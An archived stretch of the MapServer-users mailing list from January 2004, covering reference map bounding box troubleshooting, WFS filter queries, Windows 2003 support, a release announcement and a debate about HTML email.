c41JSlOLlCDlL2FGqvp9RH5yxSSO88XmXEKyJEF2u7Rs8eLdWZ7dHFuGhlVo7efF4sr3cEw/mx+P G3/hePxm2ksv/C1/iJtLKEYr/wAJfrGCyhnCkjBKhmAPAZgMn959U+G2iLd32l2mufEewN9YQOmo 23xZ+Jz39hcXl9a6MLu1+2eLbqxmntYmF1bDU7HUIDdRxrcw3Nkv2M/zyeMNW1DX/FvijXdWuPte q614i1vVtTuvKgg+06hqOp3V5e3HkW0cNtD51zNJJ5VvDFBHu2RRxxhVH7X4I0nDN87ndNVMrwcl aKjbnrKr8KXu39o/dUmotWV1a3qUU1ClC8+WnCaip1HVetWV0moUoRjDkSglTcpc0pSkmkn/AP/Z --=====================_14390859==.REL-- From Robert.Siudak at imgw.pl Tue Jan 6 02:18:02 2004 From: Robert.Siudak at imgw.pl (Robert.Siudak at imgw.pl) Date: Tue, 6 Jan 2004 11:18:02 +0100 Subject: [Mapserver-users] GeneralError message Message-ID: Hi, I've managed to install MS 3.5. But when I am running demo dataset I get maessage: msLoadMap() GeneralError message. Undefined symbol "ctyhwy.png"in class 0 of layer ctyrdln3_anno. I cannot undertsant it because I got defined the path to symbol picture in png format. Any ideas what could be wrong? Thanks in advance for any help and suggestions. Best wishes, Robert Siudak From hjulien at nrcan.gc.ca Tue Jan 6 06:39:16 2004 From: hjulien at nrcan.gc.ca (Julien, Heryk) Date: Tue, 6 Jan 2004 09:39:16 -0500 Subject: [Mapserver-users] Mapserver 401: Reference image bounding box Message-ID: <06B403677C41D51194550002A55107D201F78F7C@s5-stf1-r1.nrn.nrcan.gc.ca> Hi, I checked the image size and everything is okay. The base reference image is a gif which measures 175 by 117 pix. The outputted gif reference image is the same size but the bounding box is missing! Still trying to debug the reference image. Thanks for the reply Bedankt H?ryk ********** Mapfile: REFERENCE COLOR 255 0 0 EXTENT 493163 4857827 2100223 5910452 STATUS ON OUTLINECOLOR 255 0 0 SIZE 175 117 IMAGE "..\data\raster\refQcMaritimesUTM83Z18.gif" END #REFERENCE ********** -----Message d'origine----- De : Till Adams [mailto:adams at terrestris.de] Envoy? : Tuesday, January 06, 2004 3:35 AM ? : Julien, Heryk Cc : mapserverlist Objet : Re: [Mapserver-users] Mapserver 401: Reference image bounding box Julien, I had this problem before - your image used for the reference map might have a higher resolution than the defined box in your clinet - e.g. the image has 600 x 400 pix and in your client you defined the reference map to have 140 x 100 pix: Mapserver scales the image down to 150 x 100 pix (also leading to performance loss) and with it the (red) bounding box, which has 1 pixel linewidth. Cheers, Till Julien, Heryk schrieb: > Hi, > Anyone else having trouble or found a solution to the reference image > "bounding box" not being drawn? > I selected a red bounding box (outlinecolor 255 0 0) in my mapfile but it is > not showing up on the reference image! > I'm using Mapserver 401. > > H?ryk > NRCan > > >> -----Message d'origine----- >>De : Julien, Heryk >>Envoy? : Thursday, December 18, 2003 2:28 PM >>? : 'mapserver-users at lists.gis.umn.edu' >>Objet : reference image bounding box >> >>Hi, >>I'm having trouble with my reference image bounding box. The reference >>image appears and I can navigate in my map by clicking in the reference >>image however the bounding box doesn't display in the reference image. >>Anyone had that trouble before? >> >>Mapfile: >># >># Start of reference map >># >>REFERENCE >> COLOR -1 -1 -1 >> EXTENT 493163 4857827 2100223 5910452 >> STATUS ON >> OUTLINECOLOR 255 0 0 >> SIZE 175 117 >> IMAGE "..\data\raster\refQcMaritimesUTM83Z18.gif" >>END #REFERENCE >> >>========================================== >>H?ryk >>NRCan >> > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- NEU +++ NEU +++ NEU +++ NEU AveiN! ist Open Source Lizensiert unter der GNU GPL ----- Dipl. Geogr. Till Adams terrestris, Paulsen&Adams GbR Siemensstr. 8 * 53121 Bonn Tel.: 0228 962 899 52 * Fax.: 0228 962 899 57 info at terrestris.de * www.terrestris.de From David.Fawcett at state.mn.us Tue Jan 6 07:03:45 2004 From: David.Fawcett at state.mn.us (David Fawcett) Date: Tue, 06 Jan 2004 09:03:45 -0600 Subject: [Mapserver-users] Mapserver 401: Reference image bounding box Message-ID: Heryk, Is the bounding box missing at all scales, or just at full extent. In other words, try zooming in on your primary image, does a complete or partial bounding box appear? David. David J. Fawcett MN Office of Environmental Assistance >>> "Julien, Heryk" 1/6/2004 8:39:16 AM >>> Hi, I checked the image size and everything is okay. The base reference image is a gif which measures 175 by 117 pix. The outputted gif reference image is the same size but the bounding box is missing! Still trying to debug the reference image. Thanks for the reply Bedankt H?ryk ********** Mapfile: REFERENCE COLOR 255 0 0 EXTENT 493163 4857827 2100223 5910452 STATUS ON OUTLINECOLOR 255 0 0 SIZE 175 117 IMAGE "..\data\raster\refQcMaritimesUTM83Z18.gif" END #REFERENCE ********** -----Message d'origine----- De : Till Adams [mailto:adams at terrestris.de] Envoy? : Tuesday, January 06, 2004 3:35 AM ? : Julien, Heryk Cc : mapserverlist Objet : Re: [Mapserver-users] Mapserver 401: Reference image bounding box Julien, I had this problem before - your image used for the reference map might have a higher resolution than the defined box in your clinet - e.g. the image has 600 x 400 pix and in your client you defined the reference map to have 140 x 100 pix: Mapserver scales the image down to 150 x 100 pix (also leading to performance loss) and with it the (red) bounding box, which has 1 pixel linewidth. Cheers, Till Julien, Heryk schrieb: > Hi, > Anyone else having trouble or found a solution to the reference image > "bounding box" not being drawn? > I selected a red bounding box (outlinecolor 255 0 0) in my mapfile but it is > not showing up on the reference image! > I'm using Mapserver 401. > > H?ryk > NRCan > > >> -----Message d'origine----- >>De : Julien, Heryk >>Envoy? : Thursday, December 18, 2003 2:28 PM >>? : 'mapserver-users at lists.gis.umn.edu' >>Objet : reference image bounding box >> >>Hi, >>I'm having trouble with my reference image bounding box. The reference >>image appears and I can navigate in my map by clicking in the reference >>image however the bounding box doesn't display in the reference image. >>Anyone had that trouble before? >> >>Mapfile: >># >># Start of reference map >># >>REFERENCE >> COLOR -1 -1 -1 >> EXTENT 493163 4857827 2100223 5910452 >> STATUS ON >> OUTLINECOLOR 255 0 0 >> SIZE 175 117 >> IMAGE "..\data\raster\refQcMaritimesUTM83Z18.gif" >>END #REFERENCE >> >>========================================== >>H?ryk >>NRCan >> > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- NEU +++ NEU +++ NEU +++ NEU AveiN! ist Open Source Lizensiert unter der GNU GPL ----- Dipl. Geogr. Till Adams terrestris, Paulsen&Adams GbR Siemensstr. 8 * 53121 Bonn Tel.: 0228 962 899 52 * Fax.: 0228 962 899 57 info at terrestris.de * www.terrestris.de _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From msmith at sanangelompo.org Tue Jan 6 07:06:56 2004 From: msmith at sanangelompo.org (Michael Smith) Date: Tue, 6 Jan 2004 09:06:56 -0600 Subject: [Mapserver-users] mapserver on windows 2003 server Message-ID: <200401061005272.SM01564@PLANGIS> Before I get started, just want to make sure that Mapserver will run on Windows 2003 Server and IIS. I have running fine on windows 2000 professional. Can someone tell me if this works? Thanks in advance. Michael Smith, Planner II City of San Angelo Planning & Development 325.657.4210 Fax: 325.481.2648 Email: msmith at sanangelompo.org From eric at gomoos.org Tue Jan 6 07:03:18 2004 From: eric at gomoos.org (Eric Bridger) Date: 06 Jan 2004 10:03:18 -0500 Subject: [Mapserver-users] Mapserver 401: Reference image bounding box In-Reply-To: <06B403677C41D51194550002A55107D201F78F7C@s5-stf1-r1.nrn.nrcan.gc.ca> References: <06B403677C41D51194550002A55107D201F78F7C@s5-stf1-r1.nrn.nrcan.gc.ca> Message-ID: <1073401403.1453.12.camel@ubet.gomoos.org> What size is your map? Does the map aspect ratio match 175/117? On Tue, 2004-01-06 at 09:39, Julien, Heryk wrote: > Hi, > I checked the image size and everything is okay. The base reference image is > a gif which measures 175 by 117 pix. The outputted gif reference image is > the same size but the bounding box is missing! > > Still trying to debug the reference image. > > Thanks for the reply > Bedankt > > H?ryk > > ********** > Mapfile: > REFERENCE > COLOR 255 0 0 > EXTENT 493163 4857827 2100223 5910452 > STATUS ON > OUTLINECOLOR 255 0 0 > SIZE 175 117 > IMAGE "..\data\raster\refQcMaritimesUTM83Z18.gif" > END #REFERENCE > ********** > > > -----Message d'origine----- > De : Till Adams [mailto:adams at terrestris.de] > Envoy? : Tuesday, January 06, 2004 3:35 AM > ? : Julien, Heryk > Cc : mapserverlist > Objet : Re: [Mapserver-users] Mapserver 401: Reference image bounding > box > > > Julien, > > I had this problem before - your image used for the reference map might > have a higher resolution than the defined box in your clinet - e.g. the > image has 600 x 400 pix and in your client you defined the reference map > to have 140 x 100 pix: Mapserver scales the image down to 150 x 100 pix > (also leading to performance loss) and with it the (red) bounding box, > which has 1 pixel linewidth. > > Cheers, > Till > > Julien, Heryk schrieb: > > Hi, > > Anyone else having trouble or found a solution to the reference image > > "bounding box" not being drawn? > > I selected a red bounding box (outlinecolor 255 0 0) in my mapfile but it > is > > not showing up on the reference image! > > I'm using Mapserver 401. > > > > H?ryk > > NRCan > > > > > >> -----Message d'origine----- > >>De : Julien, Heryk > >>Envoy? : Thursday, December 18, 2003 2:28 PM > >>? : 'mapserver-users at lists.gis.umn.edu' > >>Objet : reference image bounding box > >> > >>Hi, > >>I'm having trouble with my reference image bounding box. The reference > >>image appears and I can navigate in my map by clicking in the reference > >>image however the bounding box doesn't display in the reference image. > >>Anyone had that trouble before? > >> > >>Mapfile: > >># > >># Start of reference map > >># > >>REFERENCE > >> COLOR -1 -1 -1 > >> EXTENT 493163 4857827 2100223 5910452 > >> STATUS ON > >> OUTLINECOLOR 255 0 0 > >> SIZE 175 117 > >> IMAGE "..\data\raster\refQcMaritimesUTM83Z18.gif" > >>END #REFERENCE > >> > >>========================================== > >>H?ryk > >>NRCan > >> > > > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > -- > > NEU +++ NEU +++ NEU +++ NEU > > AveiN! ist Open Source > Lizensiert unter der GNU GPL > > ----- > > Dipl. Geogr. Till Adams > terrestris, Paulsen&Adams GbR > Siemensstr. 8 * 53121 Bonn > Tel.: 0228 962 899 52 * Fax.: 0228 962 899 57 > info at terrestris.de * www.terrestris.de > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From gerry.creager at tamu.edu Tue Jan 6 07:13:59 2004 From: gerry.creager at tamu.edu (Gerry Creager N5JXS) Date: Tue, 06 Jan 2004 09:13:59 -0600 Subject: [Mapserver-users] HTML messages: A plea Message-ID: <3FFAD0B7.5030903@tamu.edu> Sorry to sound petulent, but can I ask that we NOT send HTML-formatted messages? I don't like having to open something like that in my browser, as I dont trust a lot of the mail that comes across here. I don't mind labelled attachments: I can segregate them and open them safely. However, when I get an HTML-based message, with all the pretty formatting and graphics, while it might look good, it means I have to compromise my security, or risk losing either a message I might be able to help with, or might learn from. Thanks, Gerry -- Gerry Creager -- gerry.creager at tamu.edu Network Engineering -- AATLT, Texas A&M University Cell: 979.229.5301 Office: 979.458.4020 FAX: 979.847.8578 Page: 979.228.0173 Office: 903A Eller Bldg, TAMU, College Station, TX 77843 From steve.lime at dnr.state.mn.us Tue Jan 6 07:30:16 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Tue, 06 Jan 2004 09:30:16 -0600 Subject: [Mapserver-users] MapServer 3.6.7 Message-ID: Hi Folks: I'd like to announce that for those users using the 3.6.x release there is a new version available at the main MapServer website (http://mapserver.gis.umn.edu). The important new features are (from HISTORY.TXT): - Modified PHP MapScript SAPI test to accept 'cli' as well - Fixed seg fault with WMS GetFeatureInfo of type text/html - mappostgis.c upgraded to the version used by MapServer 4.0 Enjoy! Steve From ter-haseborg at sf-datentechnik.de Tue Jan 6 07:32:22 2004 From: ter-haseborg at sf-datentechnik.de (Frieso ter Haseborg) Date: Tue, 6 Jan 2004 16:32:22 +0100 Subject: [Mapserver-users] mapserver on windows 2003 server Message-ID: <2AB914A9302C8A4E998CDB2709A4EE1B060183@nt-sf-exchange.Windows2000> Hi, tried this today. Works fine for me, no problems. ;-) HTH, Frieso ter Haseborg - Software Development - -- -------------------------------------------------- S&F Datentechnik GmbH&Co.KG Reimersstr. 41b 26789 Leer, Germany >-----Original Message----- >From: Michael Smith [mailto:msmith at sanangelompo.org] >Sent: Tuesday, January 06, 2004 4:07 PM >To: mapserver-users at lists.gis.umn.edu >Subject: [Mapserver-users] mapserver on windows 2003 server > > >Before I get started, just want to make sure that Mapserver will run on >Windows 2003 Server and IIS. I have running fine on windows 2000 >professional. Can someone tell me if this works? Thanks in advance. > >Michael Smith, Planner II >City of San Angelo >Planning & Development >325.657.4210 Fax: 325.481.2648 >Email: msmith at sanangelompo.org > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > From nsavard at dmsolutions.ca Tue Jan 6 07:42:09 2004 From: nsavard at dmsolutions.ca (Normand Savard) Date: Tue, 06 Jan 2004 10:42:09 -0500 Subject: [Mapserver-users] WFS support References: <2576812186CDD411BF1500508B6DCE9505D493FA@ECNWRI1.ontario.int.ec.gc.ca> Message-ID: <3FFAD751.5040209@dmsolutions.ca> --------------030608000305020000010208 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hi, See answers below. Norm Kralidis,Tom [Burlington] wrote: > > >>-----Original Message----- >>From: Amit S BEHERE [mailto:abehere at cs.ucsd.edu] >>Sent: Monday, January 05, 2004 7:22 PM >>To: mapserver-users at lists.gis.umn.edu >>Subject: [Mapserver-users] WFS support >> >> >>Hi all, >> >>I do not seem to be able to filter my queries (WFS queries) >>correctly. I read in the documentation that only BBOX filter >>is supposed to work for WFS queries. Now does that mean that >>only the BBOX filter will work among the spatial filters >>(filters could be attribute filters or spatial filters) or >>its BBOX filter alone without any other attribute or spatial filters. >> >> >> Only the BBOX spatial filter is supported but he BBOX can be used in combinatiion with other filter types. Example: http://localhost/cgi-bin/mapserv-4.0?map=/home/httpd/html/prototypes/ec/msc/ config.map&version=1.0.0&service=WFS&request=GetFeature&typename=stn_info& filter=Name 201000,-7300+410396,67400 NAMEDigby >In MapServer OGC:WFS (v4.0), BBOX works like this: > >http://localhost/cgi-bin/mapserv-4.0?map=/home/httpd/html/prototypes/ec/msc/ >config.map&version=1.0.0&service=WFS&request=GetFeature&typename=stn_info&bb >ox=-120,50,-118,51 > >As for Filter, the forthcoming release of MapServer will support Filter >Encoding (is it already in CVS?), so you should be able to pull off queries >like: > > The filter encoding support is in MapServer 4.1 cvs. >http://localhost/cgi-bin/mapserv-4.0?map=/home/httpd/html/prototypes/ec/msc/ >config.map&version=1.0.0&service=WFS&request=GetFeature&typename=stn_info&bb >ox=-120,50,-118,51&filter=Street

ropertyName>myhouseaddr%20blvdr> > >Now, I'm not sure whether spatial filtering will still be supported by the >BBOX parameter, or as a GML element in Filter, or both. Perhaps the DM >Solutions folks can clarify to what extent Filter will be supported. > > The BBOX parameter is mutually exclusive with FEATUREID and FILTER as stated in the WFS specifications (see 13.7.3.1). So the BBOX is supported as a GML element. >Thanks > >..Tom > >========================= >Tom Kralidis >Systems Scientist >Environment Canada >Tel: +01-905-336-4409 >http://www.ec.gc.ca/cise/ >========================= > > > >>So bottom line is can I do something like the following >>query, "Return me trees only on the street matching the >>property Street=myhouseaddr blvd" using filters. If I can it >>means I am going wrong somewhere with my query. >> >>Amit Behere. >>UCSD. >>"Technology won't make your life more difficult or easy, it >>just changes the rules"......Vishwanathan Anand >> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users >> >> >> >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > --------------030608000305020000010208 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit 

Hi,



See answers below.



Norm





Kralidis,Tom [Burlington] wrote:



  
  

  

    
-----Original Message-----
From: Amit S BEHERE [mailto:abehere at cs.ucsd.edu] 
Sent: Monday, January 05, 2004 7:22 PM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] WFS support


Hi all,

I do not seem to be able to filter my queries (WFS queries) 
correctly. I read in the documentation that only BBOX filter 
is supposed to work for WFS queries. Now does that mean that 
only the BBOX filter will work among the spatial filters 
(filters could be attribute filters or spatial filters) or 
its BBOX filter alone without any other attribute or spatial filters.

    

  

  



Only the BBOX spatial filter is supported but he BBOX can be used in combinatiion
with other filter types.




Example:


 

http://localhost/cgi-bin/mapserv-4.0?map=/home/httpd/html/prototypes/ec/msc/
config.map&version=1.0.0&service=WFS&request=GetFeature&typename=stn_info&
filter=<filter><AND><BBOX><PropertyName>Name</PropertyName><Box+srsName='EPSG:42304'>
<coordinates>201000,-7300+410396,67400</coordinates></Box></BBOX><PropertyIsEqualTo>
<PropertyName>NAME</PropertyName><Literal>Digby</Literal></PropertyIsEqualTo></AND></filter>





  
In MapServer OGC:WFS (v4.0), BBOX works like this:

http://localhost/cgi-bin/mapserv-4.0?map=/home/httpd/html/prototypes/ec/msc/
config.map&version=1.0.0&service=WFS&request=GetFeature&typename=stn_info&bb
ox=-120,50,-118,51  

As for Filter, the forthcoming release of MapServer will support Filter
Encoding (is it already in CVS?), so you should be able to pull off queries
like:
  



The filter encoding support is in MapServer 4.1 cvs.





  
http://localhost/cgi-bin/mapserv-4.0?map=/home/httpd/html/prototypes/ec/msc/
config.map&version=1.0.0&service=WFS&request=GetFeature&typename=stn_info&bb
ox=-120,50,-118,51&filter=<Filter><PropertyIsEqualTo><PropertyName>Street</P
ropertyName><Literal>myhouseaddr%20blvd</Literal></PropertyIsEqualTo></Filte
r>

Now, I'm not sure whether spatial filtering will still be supported by the
BBOX parameter, or as a GML element in Filter, or both.  Perhaps the DM
Solutions folks can clarify to what extent Filter will be supported.
  



The BBOX parameter is mutually exclusive with FEATUREID and FILTER as stated
in the WFS specifications (see 13.7.3.1).  So the BBOX is supported as a
GML element.





  
Thanks

..Tom

=========================
Tom Kralidis
Systems Scientist
Environment Canada
Tel: +01-905-336-4409
http://www.ec.gc.ca/cise/
========================= 

  

  

    
So bottom line is can I do something like the following 
query, "Return me trees only on the street matching the 
property Street=myhouseaddr blvd" using filters. If I can it 
means I am going wrong somewhere with my query.

Amit Behere.
UCSD.
"Technology won't make your life more difficult or easy, it 
just changes the rules"......Vishwanathan Anand

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users

    

  

  
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users

  








--------------030608000305020000010208--



From hjulien at nrcan.gc.ca  Tue Jan  6 07:42:43 2004
From: hjulien at nrcan.gc.ca (Julien, Heryk)
Date: Tue, 6 Jan 2004 10:42:43 -0500
Subject: [Mapserver-users] Mapserver 401: Reference image bounding box
Message-ID: <06B403677C41D51194550002A55107D201F78F7E@s5-stf1-r1.nrn.nrcan.gc.ca>

Hi to all,
Thanks for your replies,
I found a solution to the bug but I don't understand why it worked!
I opened my "8 bit indexed gif" reference image in Corel Photo-Paint and
selected the option "optimize for web" and saved it in the same format (8
bit indexed gif). The new image works!
I see a bounding box!

Anyone understands what is going on?

Furthermore, does the reference map and main map ratio have to be identical
in order for the reference image to work correctly? My main map is 400X400
pix (1:1) while my reference map is 175X117 pix (1.5:1).

Thanks again

H?ryk
NRCan

-----Message d'origine-----
De : Eric Bridger [mailto:eric at gomoos.org]
Envoy? : Tuesday, January 06, 2004 10:03 AM
? : Mapserver List
Objet : RE: [Mapserver-users] Mapserver 401: Reference image bounding
box


What size is your map?  Does the map aspect ratio match 175/117?

On Tue, 2004-01-06 at 09:39, Julien, Heryk wrote:
> Hi,
> I checked the image size and everything is okay. The base reference image
is
> a gif which measures 175 by 117 pix. The outputted gif reference image is
> the same size but the bounding box is missing!
> 
> Still trying to debug the reference image.
> 
> Thanks for the reply
> Bedankt
> 
> H?ryk
> 
> **********
> Mapfile:
> REFERENCE
> 	COLOR  255 0 0
> 	EXTENT 493163 4857827 2100223 5910452
> 	STATUS ON
> 	OUTLINECOLOR 255 0 0
> 	SIZE 175 117
> 	IMAGE "..\data\raster\refQcMaritimesUTM83Z18.gif"
> END  #REFERENCE
> **********
> 
> 
> -----Message d'origine-----
> De : Till Adams [mailto:adams at terrestris.de]
> Envoy? : Tuesday, January 06, 2004 3:35 AM
> ? : Julien, Heryk
> Cc : mapserverlist
> Objet : Re: [Mapserver-users] Mapserver 401: Reference image bounding
> box
> 
> 
> Julien,
> 
> I had this problem before - your image used for the reference map might 
> have a higher resolution than the defined box in your clinet - e.g. the 
> image has 600 x 400 pix and in your client you defined the reference map 
> to have 140 x 100 pix: Mapserver scales the image down to 150 x 100 pix 
> (also leading to performance loss) and with it the (red) bounding box, 
> which has 1 pixel linewidth.
> 
> Cheers,
> Till
> 
> Julien, Heryk schrieb:
> > Hi,
> > Anyone else having trouble or found a solution to the reference image
> > "bounding box" not being drawn?
> > I selected a red bounding box (outlinecolor 255 0 0) in my mapfile but
it
> is
> > not showing up on the reference image!
> > I'm using Mapserver 401.
> > 
> > H?ryk
> > NRCan
> > 
> > 
> >> -----Message d'origine-----
> >>De : 	Julien, Heryk  
> >>Envoy? :	Thursday, December 18, 2003 2:28 PM
> >>? :	'mapserver-users at lists.gis.umn.edu'
> >>Objet :	reference image bounding box
> >>
> >>Hi,
> >>I'm having trouble with my reference image bounding box. The reference
> >>image appears and I can navigate in my map by clicking in the reference
> >>image however the bounding box doesn't display in the reference image.
> >>Anyone had that trouble before?
> >>
> >>Mapfile:
> >>#
> >># Start of reference map
> >>#
> >>REFERENCE
> >>	COLOR  -1 -1 -1
> >>	EXTENT 493163 4857827 2100223 5910452
> >>	STATUS ON
> >>	OUTLINECOLOR 255 0 0
> >>	SIZE 175 117
> >>	IMAGE "..\data\raster\refQcMaritimesUTM83Z18.gif"
> >>END  #REFERENCE
> >>
> >>==========================================
> >>H?ryk
> >>NRCan
> >>
> > 
> > 
> > _______________________________________________
> > Mapserver-users mailing list
> > Mapserver-users at lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> > 
> 
> 
> -- 
> 
> NEU +++ NEU +++ NEU +++ NEU
> 
>     AveiN! ist Open Source
> Lizensiert unter der GNU GPL
> 
> -----
> 
> Dipl. Geogr. Till Adams
> terrestris, Paulsen&Adams GbR
> Siemensstr. 8 * 53121 Bonn
> Tel.: 0228 962 899 52 * Fax.: 0228 962 899 57
> info at terrestris.de * www.terrestris.de
> 
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 



_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From Daniel.A.Martin at erac.com  Tue Jan  6 08:05:02 2004
From: Daniel.A.Martin at erac.com (Martin, Daniel A)
Date: Tue, 6 Jan 2004 10:05:02 -0600
Subject: [Mapserver-users] HTML messages: A plea
Message-ID: <4ACBA1414DD9EE418CC250E4AAA9035A192CB2@STL-EXBE-I03.corp.erac.com>

Many people, particularly those using Outlook, send html email without
even knowing they are doing it.  The only way it will stop is by
rejecting such email on the server.

It is my humble opinion that I like HTML formatted emails when used
properly.  I enjoy the ability to inline images and format text to
really describe what is going on with much more clarity.  I think it's a
shame that the vocal old-school on every mailing list make html out to
be "bad list manners".  But, that's just my opinion, fwiw.

-Dan Martin


> -----Original Message-----
> From: mapserver-users-admin at lists.gis.umn.edu 
> [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of 
> Gerry Creager N5JXS
> Sent: Tuesday, January 06, 2004 9:14 AM
> To: mapserver-users at lists.gis.umn.edu
> Subject: [Mapserver-users] HTML messages: A plea
> 
> 
> Sorry to sound petulent, but can I ask that we NOT send 
> HTML-formatted 
> messages?  I don't like having to open something like that in my 
> browser, as I dont trust a lot of the mail that comes across here.
> 
> I don't mind labelled attachments: I can segregate them and open them 
> safely.  However, when I get an HTML-based message, with all 
> the pretty 
> formatting and graphics, while it might look good, it means I have to 
> compromise my security, or risk losing either a message I 
> might be able 
> to help with, or might learn from.
> 
> Thanks,
> Gerry
> -- 
> Gerry Creager -- gerry.creager at tamu.edu
> Network Engineering -- AATLT, Texas A&M University	
> Cell: 979.229.5301 Office: 979.458.4020 FAX: 979.847.8578
> Page: 979.228.0173
> Office: 903A Eller Bldg, TAMU, College Station, TX 77843
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu 
> http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users
> 



From phj at norgit.no  Tue Jan  6 08:05:11 2004
From: phj at norgit.no (Johansen Per Henrik)
Date: Tue, 6 Jan 2004 17:05:11 +0100
Subject: [Mapserver-users] Variable substitution 4.0.1
Message-ID: <1FFB16912919DC41A0599F0D9533419F0597B3@icngmail01.interconsult.com>

Hi,

I am a bit puzzled with the variable substition features in Mapserver. It seems to work fine in some cases, like in the layer object, but when I try to use this functionality in the reference object, I get a parser error. getString(): Symbol definition error. Parsing error near (%)
I use it like this to use a dynamically created reference image:

REFERENCE
        IMAGE %refimage%
        ...
END

I have also tried to overwrite the IMAGE value by referencing it as map_reference_image=... in the cgi call, but with the same result. 
Am I right to suspect that the REFERENCE objectdoes not support variable substitution and cgi referencing?

Regards,

Per Henrik

--
Interconsult NORGIT AS
Per Henrik Johansen
Systemutvikler/Systems developer
Tel: + 47 69 394805   Mob: + 47 950 71822
icq: 4975767
Web: http://www.norgit.no




From TMitchell at lignum.com  Tue Jan  6 08:08:17 2004
From: TMitchell at lignum.com (Tyler Mitchell)
Date: Tue, 6 Jan 2004 08:08:17 -0800
Subject: [Mapserver-users] Mapserver 401: Reference image bounding box
In-Reply-To: <06B403677C41D51194550002A55107D201F78F7E@s5-stf1-r1.nrn.nrcan.gc.ca>
Message-ID: 





> I opened my "8 bit indexed gif" reference image in Corel Photo-Paint and
> selected the option "optimize for web" and saved it in the same format (8
> bit indexed gif). The new image works!
> I see a bounding box!
>
> Anyone understands what is going on?

It appears that your problems was probably related to the palette of
colours used in the reference image.  I'm pretty sure that's all the
"optimize for web" option would do for you.  I didn't follow all the
previous discussion, but perhaps your reference map zoom box wasn't showing
up because the colour wasn't available in your palette?  i.e. all the
available colours were used up in rendering your reference map and none
were left when it went to add the box line.

Anyway, glad to hear your problem is rectified.

Tyler



From nhv at cape.com  Tue Jan  6 08:34:21 2004
From: nhv at cape.com (Norman Vine)
Date: Tue, 6 Jan 2004 11:34:21 -0500
Subject: [Mapserver-users] Mapserver 401: Reference image bounding box
In-Reply-To: 
Message-ID: 

Tyler Mitchell writes: 
> 
> > I opened my "8 bit indexed gif" reference image in Corel Photo-Paint and
> > selected the option "optimize for web" and saved it in the same format (8
> > bit indexed gif). The new image works!
> > I see a bounding box!
> >
> > Anyone understands what is going on?
> 
> It appears that your problems was probably related to the palette of
> colours used in the reference image.  I'm pretty sure that's all the
> "optimize for web" option would do for you.  I didn't follow all the
> previous discussion, but perhaps your reference map zoom box wasn't showing
> up because the colour wasn't available in your palette?  i.e. all the
> available colours were used up in rendering your reference map and none
> were left when it went to add the box line.

BINGO !!!

I was having a similar problem using a .png reference image and the ZoomBox 
now shows, after I saved it has a 216 color instead of a 256 color image.

Mystery solved :-)

Norman
 


From ter-haseborg at sf-datentechnik.de  Tue Jan  6 08:38:18 2004
From: ter-haseborg at sf-datentechnik.de (Frieso ter Haseborg)
Date: Tue, 6 Jan 2004 17:38:18 +0100
Subject: [Mapserver-users] OGC-compliant WMS-serverdeliveringdynamic layers with MS?
Message-ID: <2AB914A9302C8A4E998CDB2709A4EE1B08C468@nt-sf-exchange.Windows2000>

This is a multi-part message in MIME format.

------_=_NextPart_001_01C3D473.7D5F9710
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi Debbie,

this thread is already a little older, and I'm quite late with this, but
I promised to keep you informed and to share back the code. ;-)

>That part of the code  could easily be changed... if you do it,=20
>please share the code with us!
Strictly speaking I didn't change the part of code, since I found my own
approach, but your script was a great inspiration to get things started.
Thank you so much!

So here are my ideas to do a text/plain-dump. This is only the relevant
part with some omissions to keep things simple (see attachment).

In the function ims_getFeatureInfo () I do in principle the same things
as you did in the getFeatureInfo part, i.e. determining the closest
point to the coordinates requested by the user and than fetching the
appropiate feature-informations from a database. These features are
returned as pure text by the function mentioned above, and just echoed
out. So other applications using these script can easily catch them for
further processing. With a little more string processing the output
could also be extended to fully qualified html.=20

Best regards,

Frieso ter Haseborg
- Software Development -=20
=20
--

--------------------------------------------------=20
S&F Datentechnik GmbH&Co.KG=20
Reimersstr. 41b=20
26789 Leer, Germany
=20




>-----Original Message-----
>From: Debbie Pagurek [mailto:pagurekd at agr.gc.ca]
>Sent: Wednesday, October 15, 2003 4:42 PM
>To: Frieso ter Haseborg
>Cc: mapserver-users at lists.gis.umn.edu
>Subject: RE: [Mapserver-users] OGC-compliant=20
>WMS-serverdeliveringdynamic
>layers with MS?
>
>
>Hi,
>and thanks for pointing out that the url for the getfeatureinfo was
>pointing to an internal server.  Here's what the application points to
>now:
